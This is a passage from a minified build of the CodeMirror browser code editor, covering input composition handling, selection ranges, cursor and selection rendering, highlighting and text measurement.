gl=Math.min(gq.length-(gD.length==1?gy:0),gE.length-(gw.length==1?gy:0));while(gk<gl&&gq.charCodeAt(gq.length-gk-1)==gE.charCodeAt(gE.length-gk-1)){++gk}gD[gD.length-1]=gq.slice(0,gq.length-gk);gD[0]=gD[0].slice(gy);var go=W(gn,gy);var gv=W(gu,gw.length?fH(gw).length-gk:0);if(gD.length>1||gD[0]||cg(go,gv)){a2(gs.doc,gD,go,gv,"+input");return true}},ensurePolled:function(){this.forceCompositionEnd()},reset:function(){this.forceCompositionEnd()},forceCompositionEnd:function(){if(!this.composing||this.composing.handled){return}this.applyComposition(this.composing);this.composing.handled=true;this.div.blur();this.div.focus()},applyComposition:function(gi){if(gi.data&&gi.data!=gi.startData){c3(this.cm,fZ)(this.cm,gi.data,0,gi.sel)}},setUneditable:function(gi){gi.setAttribute("contenteditable","false")},onKeyPress:function(gi){gi.preventDefault();c3(this.cm,fZ)(this.cm,String.fromCharCode(gi.charCode==null?gi.keyCode:gi.charCode),0)},onContextMenu:fV,resetPosition:fV,needsContentAttribute:true},dw.prototype);function cA(go,gm){var gn=fc(go,gm.line);if(!gn||gn.hidden){return null}var gq=fg(go.doc,gm.line);var gj=cu(gn,gq,gm.line);var gk=a(gq),gl="left";if(gk){var gi=aG(gk,gm.ch);gl=gi%2?"right":"left"}var gp=aL(gj.map,gm.ch,gl);gp.offset=gp.collapse=="right"?gp.end:gp.start;return gp}function eu(gj,gi){if(gi){gj.bad=true}return gj}function az(gi,gl,gn){var gm;if(gl==gi.display.lineDiv){gm=gi.display.lineDiv.childNodes[gn];if(!gm){return eu(gi.clipPos(W(gi.display.viewTo-1)),true)}gl=null;gn=0}else{for(gm=gl;;gm=gm.parentNode){if(!gm||gm==gi.display.lineDiv){return null}if(gm.parentNode&&gm.parentNode==gi.display.lineDiv){break}}}for(var gk=0;gk<gi.display.view.length;gk++){var gj=gi.display.view[gk];if(gj.node==gm){return aa(gj,gl,gn)}}}function aa(gq,gm,go){var gk=gq.text.firstChild,gl=false;if(!gm||!gb(gk,gm)){return eu(W(bO(gq.line),0),true)}if(gm==gk){gl=true;gm=gk.childNodes[go];go=0;if(!gm){var gw=gq.rest?fH(gq.rest):gq.line;return eu(W(bO(gw),gw.text.length),gl)}}var gn=gm.nodeType==3?gm:null,gu=gm;if(!gn&&gm.childNodes.length==1&&gm.firstChild.nodeType==3){gn=gm.firstChild;if(go){go=gn.nodeValue.length}}while(gu.parentNode!=gk){gu=gu.parentNode}var gj=gq.measure,gs=gj.maps;function gp(gz,gE,gB){for(var gD=-1;gD<(gs?gs.length:0);gD++){var gy=gD<0?gj.map:gs[gD];for(var gC=0;gC<gy.length;gC+=3){var gA=gy[gC+2];if(gA==gz||gA==gE){var gF=bO(gD<0?gq.line:gq.rest[gD]);var gx=gy[gC]+gB;if(gB<0||gA!=gz){gx=gy[gC+(gB?1:0)]}return W(gF,gx)}}}}var gv=gp(gn,gu,go);if(gv){return eu(gv,gl)}for(var gi=gu.nextSibling,gr=gn?gn.nodeValue.length-go:0;gi;gi=gi.nextSibling){gv=gp(gi,gi.firstChild,0);if(gv){return eu(W(gv.line,gv.ch-gr),gl)}else{gr+=gi.textContent.length}}for(var gt=gu.previousSibling,gr=go;gt;gt=gt.previousSibling){gv=gp(gt,gt.firstChild,-1);if(gv){return eu(W(gv.line,gv.ch+gr),gl)}else{gr+=gi.textContent.length}}}function f0(gp,gn,go,gk,gi){var gq="",gj=false;function gl(gr){return function(gs){return gs.id==gr}}function gm(gv){if(gv.nodeType==1){var gs=gv.getAttribute("cm-text");if(gs!=null){if(gs==""){gs=gv.textContent.replace(/\u200b/g,"")}gq+=gs;return}var gu=gv.getAttribute("cm-marker"),gr;if(gu){var gw=gp.findMarks(W(gk,0),W(gi+1,0),gl(+gu));if(gw.length&&(gr=gw[0].find())){gq+=f5(gp.doc,gr.from,gr.to).join("\n")}return}if(gv.getAttribute("contenteditable")=="false"){return}for(var gt=0;gt<gv.childNodes.length;gt++){gm(gv.childNodes[gt])}if(/^(pre|div|p)$/i.test(gv.nodeName)){gj=true}}else{if(gv.nodeType==3){var gx=gv.nodeValue;if(!gx){return}if(gj){gq+="\n";gj=false}gq+=gx}}}for(;;){gm(gn);if(gn==go){break}gn=gn.nextSibling}return gq}H.inputStyles={textarea:Y,contenteditable:dw};function f4(gi,gj){this.ranges=gi;this.primIndex=gj}f4.prototype={primary:function(){return this.ranges[this.primIndex]},equals:function(gi){if(gi==this){return true}if(gi.primIndex!=this.primIndex||gi.ranges.length!=this.ranges.length){return false}for(var gk=0;gk<this.ranges.length;gk++){var gj=this.ranges[gk],gl=gi.ranges[gk];if(cg(gj.anchor,gl.anchor)!=0||cg(gj.head,gl.head)!=0){return false}}return true},deepCopy:function(){for(var gi=[],gj=0;gj<this.ranges.length;gj++){gi[gj]=new dZ(cj(this.ranges[gj].anchor),cj(this.ranges[gj].head))}return new f4(gi,this.primIndex)},somethingSelected:function(){for(var gi=0;gi<this.ranges.length;gi++){if(!this.ranges[gi].empty()){return true}}return false},contains:function(gl,gi){if(!gi){gi=gl}for(var gk=0;gk<this.ranges.length;gk++){var gj=this.ranges[gk];if(cg(gi,gj.from())>=0&&cg(gl,gj.to())<=0){return gk}}return -1}};function dZ(gi,gj){this.anchor=gi;this.head=gj}dZ.prototype={from:function(){return ar(this.anchor,this.head)},to:function(){return by(this.anchor,this.head)},empty:function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch}};function cx(gi,gp){var gk=gi[gp];gi.sort(function(gs,gr){return cg(gs.from(),gr.from())});gp=di(gi,gk);for(var gm=1;gm<gi.length;gm++){var gq=gi[gm],gj=gi[gm-1];if(cg(gj.to(),gq.from())>=0){var gn=ar(gj.from(),gq.from()),go=by(gj.to(),gq.to());var gl=gj.empty()?gq.from()==gq.head:gj.from()==gj.head;if(gm<=gp){--gp}gi.splice(--gm,2,new dZ(gl?go:gn,gl?gn:go))}}return new f4(gi,gp)}function eT(gi,gj){return new f4([new dZ(gi,gj||gi)],0)}function c6(gi,gj){return Math.max(gi.first,Math.min(gj,gi.first+gi.size-1))}function fK(gj,gk){if(gk.line<gj.first){return W(gj.first,0)}var gi=gj.first+gj.size-1;if(gk.line>gi){return W(gi,fg(gj,gi).text.length)}return ft(gk,fg(gj,gk.line).text.length)}function ft(gk,gj){var gi=gk.ch;if(gi==null||gi>gj){return W(gk.line,gj)}else{if(gi<0){return W(gk.line,0)}else{return gk}}}function ca(gj,gi){return gi>=gj.first&&gi<gj.first+gj.size}function d1(gk,gl){for(var gi=[],gj=0;gj<gl.length;gj++){gi[gj]=fK(gk,gl[gj])}return gi}function fw(gn,gj,gm,gi){if(gn.cm&&gn.cm.display.shift||gn.extend){var gl=gj.anchor;if(gi){var gk=cg(gm,gl)<0;if(gk!=(cg(gi,gl)<0)){gl=gm;gm=gi}else{if(gk!=(cg(gm,gi)<0)){gm=gi}}}return new dZ(gl,gm)}else{return new dZ(gi||gm,gm)}}function fX(gl,gk,gi,gj){bV(gl,new f4([fw(gl,gl.sel.primary(),gk,gi)],0),gj)}function aw(gn,gm,gk){for(var gj=[],gl=0;gl<gn.sel.ranges.length;gl++){gj[gl]=fw(gn,gn.sel.ranges[gl],gm[gl],null)}var gi=cx(gj,gn.sel.primIndex);bV(gn,gi,gk)}function e(gm,gl,gj,gk){var gi=gm.sel.ranges.slice(0);gi[gl]=gj;bV(gm,cx(gi,gm.sel.primIndex),gk)}function F(gl,gj,gk,gi){bV(gl,eT(gj,gk),gi)}function c(gk,gi){var gj={ranges:gi.ranges,update:function(gl){this.ranges=[];for(var gm=0;gm<gl.length;gm++){this.ranges[gm]=new dZ(fK(gk,gl[gm].anchor),fK(gk,gl[gm].head))}}};aE(gk,"beforeSelectionChange",gk,gj);if(gk.cm){aE(gk.cm,"beforeSelectionChange",gk.cm,gj)}if(gj.ranges!=gi.ranges){return cx(gj.ranges,gj.ranges.length-1)}else{return gi}}function e8(gm,gl,gj){var gi=gm.history.done,gk=fH(gi);if(gk&&gk.ranges){gi[gi.length-1]=gl;eq(gm,gl,gj)}else{bV(gm,gl,gj)}}function bV(gk,gj,gi){eq(gk,gj,gi);gc(gk,gk.sel,gk.cm?gk.cm.curOp.id:NaN,gi)}function eq(gl,gk,gj){if(fj(gl,"beforeSelectionChange")||gl.cm&&fj(gl.cm,"beforeSelectionChange")){gk=c(gl,gk)}var gi=gj&&gj.bias||(cg(gk.primary().head,gl.sel.primary().head)<0?-1:1);da(gl,n(gl,gk,gi,true));if(!(gj&&gj.scroll===false)&&gl.cm){fG(gl.cm)}}function da(gj,gi){if(gi.equals(gj.sel)){return}gj.sel=gi;if(gj.cm){gj.cm.curOp.updateInput=gj.cm.curOp.selectionChanged=true;V(gj.cm)}ae(gj,"cursorActivity",gj)}function ez(gi){da(gi,n(gi,gi.sel,null,false),Z)}function n(gq,gi,gn,go){var gk;for(var gl=0;gl<gi.ranges.length;gl++){var gm=gi.ranges[gl];var gp=bW(gq,gm.anchor,gn,go);var gj=bW(gq,gm.head,gn,go);if(gk||gp!=gm.anchor||gj!=gm.head){if(!gk){gk=gi.ranges.slice(0,gl)}gk[gl]=new dZ(gp,gj)}}return gk?cx(gk,gi.primIndex):gi}function bW(gr,gq,gn,go){var gs=false,gk=gq;var gl=gn||1;gr.cantEdit=false;search:for(;;){var gt=fg(gr,gk.line);if(gt.markedSpans){for(var gm=0;gm<gt.markedSpans.length;++gm){var gi=gt.markedSpans[gm],gj=gi.marker;if((gi.from==null||(gj.inclusiveLeft?gi.from<=gk.ch:gi.from<gk.ch))&&(gi.to==null||(gj.inclusiveRight?gi.to>=gk.ch:gi.to>gk.ch))){if(go){aE(gj,"beforeCursorEnter");if(gj.explicitlyCleared){if(!gt.markedSpans){break}else{--gm;continue}}}if(!gj.atomic){continue}var gp=gj.find(gl<0?-1:1);if(cg(gp,gk)==0){gp.ch+=gl;if(gp.ch<0){if(gp.line>gr.first){gp=fK(gr,W(gp.line-1))}else{gp=null}}else{if(gp.ch>gt.text.length){if(gp.line<gr.first+gr.size-1){gp=W(gp.line+1,0)}else{gp=null}}}if(!gp){if(gs){if(!go){return bW(gr,gq,gn,true)}gr.cantEdit=true;return W(gr.first,0)}gs=true;gp=gq;gl=-gl}}gk=gp;continue search}}}return gk}}function bD(gi){gi.display.input.showSelection(gi.display.input.prepareSelection())}function fJ(gp,gi){var go=gp.doc,gq={};var gn=gq.cursors=document.createDocumentFragment();var gj=gq.selection=document.createDocumentFragment();for(var gl=0;gl<go.sel.ranges.length;gl++){if(gi===false&&gl==go.sel.primIndex){continue}var gm=go.sel.ranges[gl];var gk=gm.empty();if(gk||gp.options.showCursorWhenSelecting){A(gp,gm,gn)}if(!gk){bE(gp,gm,gj)}}return gq}function A(gi,gl,gk){var gn=dV(gi,gl.head,"div",null,null,!gi.options.singleCursorHeightPerLine);var gm=gk.appendChild(f3("div","\u00a0","CodeMirror-cursor"));gm.style.left=gn.left+"px";gm.style.top=gn.top+"px";gm.style.height=Math.max(0,gn.bottom-gn.top)*gi.options.cursorHeight+"px";if(gn.other){var gj=gk.appendChild(f3("div","\u00a0","CodeMirror-cursor CodeMirror-secondarycursor"));gj.style.display="";gj.style.left=gn.other.left+"px";gj.style.top=gn.other.top+"px";gj.style.height=(gn.other.bottom-gn.other.top)*0.85+"px"}}function bE(gm,gs,gn){var gv=gm.display,gz=gm.doc;var gi=document.createDocumentFragment();var gr=e6(gm.display),gl=gr.left;var gw=Math.max(gv.sizerWidth,dm(gm)-gv.sizer.offsetLeft)-gr.right;function gt(gD,gC,gB,gA){if(gC<0){gC=0}gC=Math.round(gC);gA=Math.round(gA);gi.appendChild(f3("div",null,"CodeMirror-selected","position: absolute; left: "+gD+"px; top: "+gC+"px; width: "+(gB==null?gw-gD:gB)+"px; height: "+(gA-gC)+"px"))}function gj(gB,gD,gG){var gC=fg(gz,gB);var gE=gC.text.length;var gH,gA;function gF(gJ,gI){return cK(gm,W(gB,gJ),"div",gC,gI)}d5(a(gC),gD||0,gG==null?gE:gG,function(gP,gO,gI){var gL=gF(gP,"left"),gM,gN,gK;if(gP==gO){gM=gL;gN=gK=gL.left}else{gM=gF(gO-1,"right");if(gI=="rtl"){var gJ=gL;gL=gM;gM=gJ}gN=gL.left;gK=gM.right}if(gD==null&&gP==0){gN=gl}if(gM.top-gL.top>3){gt(gN,gL.top,null,gL.bottom);gN=gl;if(gL.bottom<gM.top){gt(gN,gL.bottom,null,gM.top)}}if(gG==null&&gO==gE){gK=gw}if(!gH||gL.top<gH.top||gL.top==gH.top&&gL.left<gH.left){gH=gL}if(!gA||gM.bottom>gA.bottom||gM.bottom==gA.bottom&&gM.right>gA.right){gA=gM}if(gN<gl+1){gN=gl}gt(gN,gM.top,gK-gN,gM.bottom)});return{start:gH,end:gA}}var gy=gs.from(),gx=gs.to();if(gy.line==gx.line){gj(gy.line,gy.ch,gx.ch)}else{var gk=fg(gz,gy.line),gp=fg(gz,gx.line);var go=y(gk)==y(gp);var gq=gj(gy.line,gy.ch,go?gk.text.length+1:null).end;var gu=gj(gx.line,go?0:null,gx.ch).start;if(go){if(gq.top<gu.top-2){gt(gq.right,gq.top,null,gq.bottom);gt(gl,gu.top,gu.left,gu.bottom)}else{gt(gq.right,gq.top,gu.left-gq.right,gq.bottom)}}if(gq.bottom<gu.top){gt(gl,gq.bottom,null,gu.top)}}gn.appendChild(gi)}function o(gi){if(!gi.state.focused){return}var gk=gi.display;clearInterval(gk.blinker);var gj=true;gk.cursorDiv.style.visibility="";if(gi.options.cursorBlinkRate>0){gk.blinker=setInterval(function(){gk.cursorDiv.style.visibility=(gj=!gj)?"":"hidden"},gi.options.cursorBlinkRate)}else{if(gi.options.cursorBlinkRate<0){gk.cursorDiv.style.visibility="hidden"}}}function eg(gi,gj){if(gi.doc.mode.startState&&gi.doc.frontier<gi.display.viewTo){gi.state.highlight.set(gj,cw(cQ,gi))}}function cQ(gi){var gm=gi.doc;if(gm.frontier<gm.first){gm.frontier=gm.first}if(gm.frontier>=gi.display.viewTo){return}var gk=+new Date+gi.options.workTime;var gl=b4(gm.mode,dD(gi,gm.frontier));var gj=[];gm.iter(gm.frontier,Math.min(gm.first+gm.size,gi.display.viewTo+500),function(gn){if(gm.frontier>=gi.display.viewFrom){var gq=gn.styles;var gs=fA(gi,gn,gl,true);gn.styles=gs.styles;var gp=gn.styleClasses,gr=gs.classes;if(gr){gn.styleClasses=gr}else{if(gp){gn.styleClasses=null}}var gt=!gq||gq.length!=gn.styles.length||gp!=gr&&(!gp||!gr||gp.bgClass!=gr.bgClass||gp.textClass!=gr.textClass);for(var go=0;!gt&&go<gq.length;++go){gt=gq[go]!=gn.styles[go]}if(gt){gj.push(gm.frontier)}gn.stateAfter=b4(gm.mode,gl)}else{dy(gi,gn.text,gl);gn.stateAfter=gm.frontier%5==0?b4(gm.mode,gl):null}++gm.frontier;if(+new Date>gk){eg(gi,gi.options.workDelay);return true}});if(gj.length){cN(gi,function(){for(var gn=0;gn<gj.length;gn++){R(gi,gj[gn],"text")}})}}function cz(go,gi,gl){var gj,gm,gn=go.doc;var gk=gl?-1:gi-(go.doc.mode.innerMode?1000:100);for(var gr=gi;gr>gk;--gr){if(gr<=gn.first){return gn.first}var gq=fg(gn,gr-1);if(gq.stateAfter&&(!gl||gr<=gn.frontier)){return gr}var gp=bU(gq.text,null,go.options.tabSize);if(gm==null||gj>gp){gm=gr-1;gj=gp}}return gm}function dD(gi,go,gj){var gm=gi.doc,gl=gi.display;if(!gm.mode.startState){return true}var gn=cz(gi,go,gj),gk=gn>gm.first&&fg(gm,gn-1).stateAfter;if(!gk){gk=b1(gm.mode)}else{gk=b4(gm.mode,gk)}gm.iter(gn,go,function(gp){dy(gi,gp.text,gk);var gq=gn==go-1||gn%5==0||gn>=gl.viewFrom&&gn<gl.viewTo;gp.stateAfter=gq?b4(gm.mode,gk):null;++gn});if(gj){gm.frontier=gn}return gk}function e9(gi){return gi.lineSpace.offsetTop}function bJ(gi){return gi.mover.offsetHeight-gi.lineSpace.offsetHeight}function e6(gl){if(gl.cachedPaddingH){return gl.cachedPaddingH}var gk=bS(gl.measure,f3("pre","x"));var gi=window.getComputedStyle?window.getComputedStyle(gk):gk.currentStyle;var gj={left:parseInt(gi.paddingLeft),right:parseInt(gi.paddingRight)};if(!isNaN(gj.left)&&!isNaN(gj.right)){gl.cachedPaddingH=gj}return gj}function cU(gi){return dK-gi.display.nativeBarWidth}function dm(gi){return gi.display.scroller.clientWidth-cU(gi)-gi.display.barWidth}function cW(gi){return gi.display.scroller.clientHeight-cU(gi)-gi.display.barHeight}function ci(gp,gl,go){var gk=gp.options.lineWrapping;var gm=gk&&dm(gp);if(!gl.measure.heights||gk&&gl.measure.width!=gm){var gn=gl.measure.heights=[];if(gk){gl.measure.width=gm;var gr=gl.text.firstChild.getClientRects();for(var gi=0;gi<gr.length-1;gi++){var gq=gr[gi],gj=gr[gi+1];if(Math.abs(gq.bottom-gj.bottom)>2){gn.push((gq.bottom+gj.top)/2-go.top)}}}gn.push(go.bottom-go.top)}}function cu(gk,gi,gl){if(gk.line==gi){return{map:gk.measure.map,cache:gk.measure.cache}}for(var gj=0;gj<gk.rest.length;gj++){if(gk.rest[gj]==gi){return{map:gk.measure.maps[gj],cache:gk.measure.caches[gj]}}}for(var gj=0;gj<gk.rest.length;gj++){if(bO(gk.rest[gj])>gl){return{map:gk.measure.maps[gj],cache:gk.measure.caches[gj],before:true}}}}function c2(gi,gk){gk=y(gk);var gm=bO(gk);var gj=gi.display.externalMeasured=new bw(gi.doc,gk,gm);gj.lineN=gm;var gl=gj.built=eS(gi,gj);gj.text=gl.pre;bS(gi.display.lineMeasure,gl.pre);return gj}function ei(gi,gj,gl,gk){return C(gi,a5(gi,gj),gl,gk)}function fc(gi,gk){if(gk>=gi.display.viewFrom&&gk<gi.display.viewTo){return gi.display.view[ds(gi,gk)]}var gj=gi.display.externalMeasured;if(gj&&gk>=gj.lineN&&gk<gj.lineN+gj.size){return gj}}function a5(gi,gk){var gl=bO(gk);var gj=fc(gi,gl);if(gj&&!gj.text){gj=null}else{if(gj&&gj.changes){ab(gi,gj,gl,fe(gi))}}if(!gj){gj=c2(gi,gk)}var gm=cu(gj,gk,gl);return{line:gk,view:gj,rect:null,map:gm.map,cache:gm.cache,before:gm.before,hasHeights:false}}function C(gi,go,gm,gj,gl){if(go.before){gm=-1}var gk=gm+(gj||""),gn;if(go.cache.hasOwnProperty(gk)){gn=go.cache[gk]}else{if(!go.rect){go.rect=go.view.text.getBoundingClientRect()}if(!go.hasHeights){ci(gi,go.view,go.rect);go.hasHeights=true}gn=j(gi,go,gm,gj);if(!gn.bogus){go.cache[gk]=gn}}return{left:gn.left,right:gn.right,top:gl?gn.rtop:gn.top,bottom:gl?gn.rbottom:gn.bottom}}var eC={left:0,right:0,top:0,bottom:0};function aL(gj,gi,gp){var gl,gk,gn,gq;for(var go=0;go<gj.length;go+=3){var gm=gj[go],gr=gj[go+1];if(gi<gm){gk=0;gn=1;gq="left"}else{if(gi<gr){gk=gi-gm;gn=gk+1}else{if(go==gj.length-3||gi==gr&&gj[go+3]>gi){gn=gr-gm;gk=gn-1;if(gi>=gr){gq="right"}}}}if(gk!=null){gl=gj[go+2];if(gm==gr&&gp==(gl.insertLeft?"left":"right")){gq=gp}if(gp=="left"&&gk==0){while(go&&gj[go-2]==gj[go-3]&&gj[go-1].insertLeft){gl=gj[(go-=3)+2];gq="left"}}if(gp=="right"&&gk==gr-gm){while(go<gj.length-3&&gj[go+3]==gj[go+4]&&!gj[go+5].insertLeft){gl=gj[(go+=3)+2];gq="right"}}break}}return{node:gl,start:gk,end:gn,collapse:gq,coverStart:gm,coverEnd:gr}}function j(gp,gz,gs,gn){var gq=aL(gz.map,gs,gn);var gx=gq.node,gm=gq.start,gl=gq.end,gi=gq.collapse;var gj;if(gx.nodeType==3){for(var gy=0;gy<4;gy++){while(gm&&fq(gz.line.text.charAt(gq.coverStart+gm))){--gm}while(gq.coverStart+gl<gq.coverEnd&&fq(gz.line.text.charAt(gq.coverStart+gl))){++gl}if(dL&&k<9&&gm==0&&gl==gq.coverEnd-gq.coverStart){gj=gx.parentNode.getBoundingClientRect()}else{if(dL&&gp.options.lineWrapping){var gk=cm(gx,gm,gl).getClientRects();if(gk.length){gj=gk[gn=="right"?gk.length-1:0]}else{gj=eC}}else{gj=cm(gx,gm,gl).getBoundingClientRect()||eC}}if(gj.left||gj.right||gm==0){break}gl=gm;gm=gm-1;gi="right"}if(dL&&k<11){gj=eO(gp.display.measure,gj)}}else{if(gm>0){gi=gn="right"}var gk;if(gp.options.lineWrapping&&(gk=gx.getClientRects()).length>1){gj=gk[gn=="right"?gk.length-1:0]}else{gj=gx.getBoundingClientRect()}}if(dL&&k<9&&!gm&&(!gj||!gj.left&&!gj.right)){var go=gx.parentNode.getClientRects()[0];if(go){gj={left:go.left,right:go.left+dE(gp.display),top:go.top,bottom:go.bottom}}else{gj=eC}}var gv=gj.top-gz.rect.top,gt=gj.bottom-gz.rect.top;var gB=(gv+gt)/2;var gA=gz.view.measure.heights;for(var gy=0;gy<gA.length-1;gy++){if(gB<gA[gy]){break}}var gw=gy?gA[gy-1]:0,gu=gA[gy];var gr={left:(gi=="right"?gj.right:gj.left)-gz.rect.left,right:(gi=="left"?gj.left:gj.right)-gz.rect.left,top:gw,bottom:gu};if(!gj.left&&!gj.right){gr.bogus=true}if(!gp.options.singleCursorHeightPerLine){gr.rtop=gv;gr.rbottom=gt}return gr}function eO(gk,gl){if(!window.screen||screen.logicalXDPI==null||screen.logicalXDPI==screen.deviceXDPI||!aK(gk)){return gl}var gj=screen.logicalXDPI/screen.deviceXDPI;var gi=screen.logicalYDPI/screen.deviceYDPI;return{left:gl.left*gj,right:gl.right*gj,top:gl.top*gi,bottom:gl.bottom*gi}}function au(gj){if(gj.measure){gj.measure.cache={};gj.measure.heights=null;if(gj.rest){for(var gi=0;gi<gj.rest.length;gi++){gj.measure.caches[gi]={}}}}}function aO(gi){gi.display.externalMeasure=null;d2(gi.display.lineMeasure);for(var gj=0;gj<gi.display.view.length;gj++){au(gi.display.view[gj])}}function ak(gi){aO(gi);gi.display.cachedCharWidth=gi.display.cachedTextHeight=gi.display.cachedPaddingH=null;if(!gi.options.lineWrapping){gi.display.maxLineChanged=true}gi.display.lineNumChars=null}function cv(){return window.pageXOffset||(document.documentElement||document.body).scrollLeft}function ct(){return window.pageYOffset||(document.documentElement||document.body).scrollTop}function eR(go,gl,gn,gj){if(gl.widgets){for(var gk=0;gk<gl.widgets.length;++gk){if(gl.widgets[gk].above){var gq=cZ(gl.widgets[gk]);gn.top+=gq;gn.bottom+=gq}}}if(gj=="line"){return gn}if(!gj){gj="local"}var gm=bN(gl);if(gj=="local"){gm+=e9(go.display)}else{gm-=go.display.viewOffset}if(gj=="page"||gj=="window"){var gi=go.display.lineSpace.getBoundingClientRect();gm+=gi.top+(gj=="window"?0:ct());var gp=gi.left+(gj=="window"?0:cv());gn.left+=gp;gn.right+=gp}gn.top+=gm;gn.bottom+=gm;return gn}function gf(gj,gm,gk){if(gk=="div"){return gm}var go=gm.left,gn=gm.top;if(gk=="page"){go-=cv();gn-=ct()}else{if(gk=="local"||!gk){var gl=gj.display.sizer.getBoundingClientRect();go+=gl.left;gn+=gl.top}}var gi=gj.display.lineSpace.getBoundingClientRect();return{left:go-gi.left,top:gn-gi.top}}function cK(gi,gm,gl,gk,gj){if(!gk){gk=fg(gi.doc,gm.line)}return eR(gi,gk,ei(gi,gk,gm.ch,gj),gl)}function dV(gr,gq,gk,go,gt,gp){go=go||fg(gr.doc,gq.line);if(!gt){gt=a5(gr,go)}function gm(gw,gv){var gu=C(gr,gt,gw,gv?"right":"left",gp);if(gv){gu.left=gu.right}else{gu.right=gu.left}return eR(gr,go,gu,gk)}function gs(gx,gu){var gv=gn[gu],gw=gv.level%2;if(gx==dz(gv)&&gu&&gv.level<gn[gu-1].level){gv=gn[--gu];gx=ge(gv)-(gv.level%2?0:1);gw=true}else{if(gx==ge(gv)&&gu<gn.length-1&&gv.level<gn[gu+1].level){gv=gn[++gu];gx=dz(gv)-gv.level%2;gw=false}}if(gw&&gx==gv.to&&gx>gv.from){return gm(gx-1)}return gm(gx,gw)}var gn=a(go),gi=gq.ch;if(!gn){return gm(gi)}var gj=aG(gn,gi);var gl=gs(gi,gj);if(e3!=null){gl.other=gs(gi,e3)}return gl}function dI(gi,gm){var gl=0,gm=fK(gi.doc,gm);if(!gi.options.lineWrapping){gl=dE(gi.display)*gm.ch}var gj=fg(gi.doc,gm.line);var gk=bN(gj)+e9(gi.display);return{left:gl,right:gl,top:gk,bottom:gk+gj.height}}function f2(gi,gj,gk,gm){var gl=W(gi,gj);gl.xRel=gm;if(gk){gl.outside=true}return gl}function fP(gp,gm,gl){var go=gp.doc;gl+=gp.display.viewOffset;if(gl<0){return f2(go.first,0,true,-1)}var gk=bH(go,gl),gq=go.first+go.size-1;if(gk>gq){return f2(go.first+go.size-1,fg(go,gq).text.length,true,1)}if(gm<0){gm=0}var gj=fg(go,gk);for(;;){var gr=c0(gp,gj,gk,gm,gl);var gn=ex(gj);var gi=gn&&gn.find(0,true);if(gn&&(gr.ch>gi.from.ch||gr.ch==gi.from.ch&&gr.xRel>0)){gk=bO(gj=gi.to.line)}else{return gr}}}function c0(gs,gk,gv,gu,gt){var gr=gt-bN(gk);var go=false,gB=2*gs.display.wrapper.clientWidth;var gy=a5(gs,gk);function gF(gH){var gI=dV(gs,W(gv,gH),"line",gk,gy);go=true;if(gr>gI.bottom){return gI.left-gB}else{if(gr<gI.top){return gI.left+gB}else{go=false}}return gI.left}var gx=a(gk),gA=gk.text.length;var gC=cF(gk),gl=cT(gk);var gz=gF(gC),gi=go,gj=gF(gl),gn=go;if(gu>gj){return f2(gv,gl,gn,1)}for(;;){if(gx?gl==gC||gl==u(gk,gC,1):gl-gC<=1){var gw=gu<gz||gu-gz<=gj-gu?gC:gl;var gE=gu-(gw==gC?gz:gj);while(fq(gk.text.charAt(gw))){++gw}var gq=f2(gv,gw,gw==gC?gi:gn,gE<-1?-1:gE>1?1:0);return gq}var gp=Math.ceil(gA/2),gG=gC+gp;if(gx){gG=gC;for(var gD=0;gD<gp;++gD){gG=u(gk,gG,1)}}var gm=gF(gG);if(gm>gu){gl=gG;gj=gm;if(gn=go){gj+=1000}gA=gp}else{gC=gG;gz=gm;gi=go;gA-=gp}}}var aH;function aY(gk){if(gk.cachedTextHeight!=null){return gk.cachedTextHeight}if(aH==null){aH=f3("pre");for(var gj=0;gj<49;++gj){aH.appendChild(document.createTextNode("x"));aH.appendChild(f3("br"))}aH.appendChild(document.createTextNode("x"))}bS(gk.measure,aH);var gi=aH.offsetHeight/50;if(gi>3){gk.cachedTextHeight=gi}d2(gk.measure);return gi||1}function dE(gm){if(gm.cachedCharWidth!=null){return gm.cachedCharWidth}var gi=f3("span","xxxxxxxxxx");var gl=f3("pre",[gi]);bS(gm.measure,gl);var gk=gi.getBoundingClientRect(),gj=(gk.right-gk.left)/10;if(gj>2){gm.cachedCharWidth=gj}return gj||10}var bq=null;var d9=0;function cJ(gi){gi.curOp={cm:gi,viewChanged:false,startHeight:gi.doc.height,forceUpdate:false,updateInput:null,typing:false,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:false,updateMaxLine:false,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:false,id:++d9};if(bq){bq.ops.push(gi.curOp)}else{gi.curOp.ownsGroup=bq={ops:[gi.curOp],delayedCallbacks:[]}}}function cV(gl){var gk=gl.delayedCallbacks,gj=0;do{for(;gj<gk.length;gj++){gk[gj]()}for(var gi=0;gi<gl.ops.length;gi++){var gm=gl.ops[gi];if(gm.cursorActivityHandlers){while(gm.cursorActivityCalled<gm.cursorActivityHandlers.length){gm.cursorActivityHandlers[gm.cursorActivityCalled++](gm.cm)}}}}while(gj<gk.length)}function am(gi){var gl=gi.curOp,gk=gl.ownsGroup;if(!gk){return}try{cV(gk)}finally{bq=null;for(var gj=0;gj<gk.ops.length;gj++){gk.ops[gj].cm.curOp=null}cL(gk)}}function cL(gk){var gj=gk.ops;for(var gi=0;gi<gj.length;gi++){b6(gj[gi])}for(var gi=0;gi<gj.length;gi++){aq(gj[gi])}for(var gi=0;gi<gj.length;gi++){b3(gj[gi])}for(var gi=0;gi<gj.length;gi++){ap(gj[gi])}for(var gi=0;gi<gj.length;gi++){e1(gj[gi])}}function b6(gk){var gi=gk.cm,gj=gi.display;J(gi);if(gk.updateMaxLine){h(gi)}gk.mustUpdate=gk.viewChanged||gk.forceUpdate||gk.scrollTop!=null||gk.scrollToPos&&(gk.scrollToPos.from.line<gj.viewFrom||gk.scrollToPos.to.line>=gj.viewTo)||gj.maxLineChanged&&gi.options.lineWrapping;gk.update=gk.mustUpdate&&new aI(gi,gk.mustUpdate&&{top:gk.scrollTop,ensure:gk.scrollToPos},gk.forceUpdate)}function aq(gi){gi.updatedDisplay=gi.mustUpdate&&B(gi.cm,gi.update)}function b3(gk){var 